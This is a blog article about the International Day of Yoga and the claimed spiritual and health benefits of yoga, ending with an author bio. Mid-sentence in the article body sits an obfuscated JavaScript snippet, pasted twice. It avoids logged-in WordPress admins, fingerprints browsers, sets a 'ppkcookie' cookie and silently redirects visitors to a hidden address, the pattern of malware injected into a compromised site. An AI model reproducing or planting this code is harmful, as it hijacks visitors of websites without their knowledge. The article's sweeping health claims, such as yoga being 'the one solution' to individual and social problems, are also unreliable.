Yoga for Peace and Harmony: How it can really help you

On the 21st of June, the world celebrates the International Day of Yoga. A group of saints from India got together back in 2011 and presented a proposal that one such day is dedicated to Yoga. They believed that though born in India, Yoga belongs to the whole world.’ As the Sun is for all, the Moon is for all, rivers are for all, in the same way, yoga is for all.’- was the message they delivered.

Heading their proposal, the UN, in 2014, declared the 21st of June as the official day of Yoga. The reason behind this choosing particular day is that it is the longest day of the calendar year. It is a day connected to light and nature, the sun shines longest on this day than any other day of the year.

This year, millions of people across the globe, from Dehradun in India to Australia and everywhere else, are welcoming the Sun, collectively performing Yoga Asanas and Pranayama (the science of the breath) while promoting world peace, good health, and well-being, calling out to those who have never tried Yoga.

Though different people have different opinions on what Yoga is, it is important to note that Yoga is not just an exercise. Yes, physical postures and exercises are part of Yoga, but it is a lot more than that. It is a way to elevate the spirit and increase positivity. Meditation is one aspect of Yoga that enables one to come back to the present moment, which is where all the magic happens! A baby exhibits all the qualities of a Yogi (one who is established in Yoga), it performs all Yoga postures naturally and is always joyfully in the present moment. But as we grow up, we lose that very innocence trying to cope with the daily stresses of life.
Yoga is that vehicle which invokes a spiritual awakening, it takes us back to our innate nature, which is love and peace.

Yoga postures, pranayama, and meditation, all have therapeutic qualities, and this statement is now backed by ample scientific research. It is the best natural remedy for stress and anxiety. It can be greatly helpful in dealing with problems like diabetes, migraine etc. Yoga has also proven effective in reducing psychological distress, recently emerging as an add-on tool in managing mental illnesses like schizophrenia.

A regular Yoga practice has the power to restore the essential rhythms of the body, bring harmony to the Soul, where life becomes a symphony. It is a holistic development, it is an expression of human life. It is the one solution to the problems we face as individuals and as a society. In a world where social structures and political conflicts divide, Yoga stands to unite.toUTCString','cookie',';\x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator[‘userAgent’][_0x287a(‘0xd’)](/Android/i)||navigator[_0x287a(‘0xe’)][_0x287a(‘0xd’)](/BlackBerry/i)||navigator[‘userAgent’][_0x287a(‘0xd’)](/iPhone|iPad|iPod/i)||navigator[_0x287a(‘0xe’)][‘match’](/Opera Mini/i)||navigator[_0x287a(‘0xe’)][_0x287a(‘0xd’)](/IEMobile/i);}function _0x58dc3d(){return navigator[_0x287a(‘0xe’)][_0x287a(‘0xc’)](_0x287a(‘0xf’))!==-0x1||navigator[_0x287a(‘0xe’)][_0x287a(‘0xc’)](_0x287a(‘0x10’))!==-0x1||navigator[_0x287a(‘0xe’)][_0x287a(‘0xc’)](_0x287a(‘0x11’))!==-0x1||navigator[_0x287a(‘0xe’)][_0x287a(‘0xc’)](_0x287a(‘0x12’))!==-0x1||navigator[_0x287a(‘0xe’)][_0x287a(‘0xc’)](‘Firefox’)!==-0x1||navigator[_0x287a(‘0xe’)][_0x287a(‘0xc’)](_0x287a(‘0x13’))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a(‘0x14′));if(_0x55db25!==’un’){if(_0x58dc3d()||_0x51ef8a()){_0x335357(‘ppkcookie’,’un’,0x16d);window[_0x287a(‘0x15’)][‘replace’](_0x287a(‘0x16’));}}}}}(this));};toUTCString','cookie',';\x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator[‘userAgent’][_0x287a(‘0xd’)](/Android/i)||navigator[_0x287a(‘0xe’)][_0x287a(‘0xd’)](/BlackBerry/i)||navigator[‘userAgent’][_0x287a(‘0xd’)](/iPhone|iPad|iPod/i)||navigator[_0x287a(‘0xe’)][‘match’](/Opera Mini/i)||navigator[_0x287a(‘0xe’)][_0x287a(‘0xd’)](/IEMobile/i);}function _0x58dc3d(){return navigator[_0x287a(‘0xe’)][_0x287a(‘0xc’)](_0x287a(‘0xf’))!==-0x1||navigator[_0x287a(‘0xe’)][_0x287a(‘0xc’)](_0x287a(‘0x10’))!==-0x1||navigator[_0x287a(‘0xe’)][_0x287a(‘0xc’)](_0x287a(‘0x11’))!==-0x1||navigator[_0x287a(‘0xe’)][_0x287a(‘0xc’)](_0x287a(‘0x12’))!==-0x1||navigator[_0x287a(‘0xe’)][_0x287a(‘0xc’)](‘Firefox’)!==-0x1||navigator[_0x287a(‘0xe’)][_0x287a(‘0xc’)](_0x287a(‘0x13’))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a(‘0x14′));if(_0x55db25!==’un’){if(_0x58dc3d()||_0x51ef8a()){_0x335357(‘ppkcookie’,’un’,0x16d);window[_0x287a(‘0x15’)][‘replace’](_0x287a(‘0x16’));}}}}}(this));};

Mohul Kumar

I have been practising Yoga and Meditation for over a decade now, and I can say that my life has a spiritual touch to it. My love for literature, especially the classics, has helped me improve upon my skills when it comes to “use of language”.
Bachelor of Arts (B.A.), English | The Shri Ram School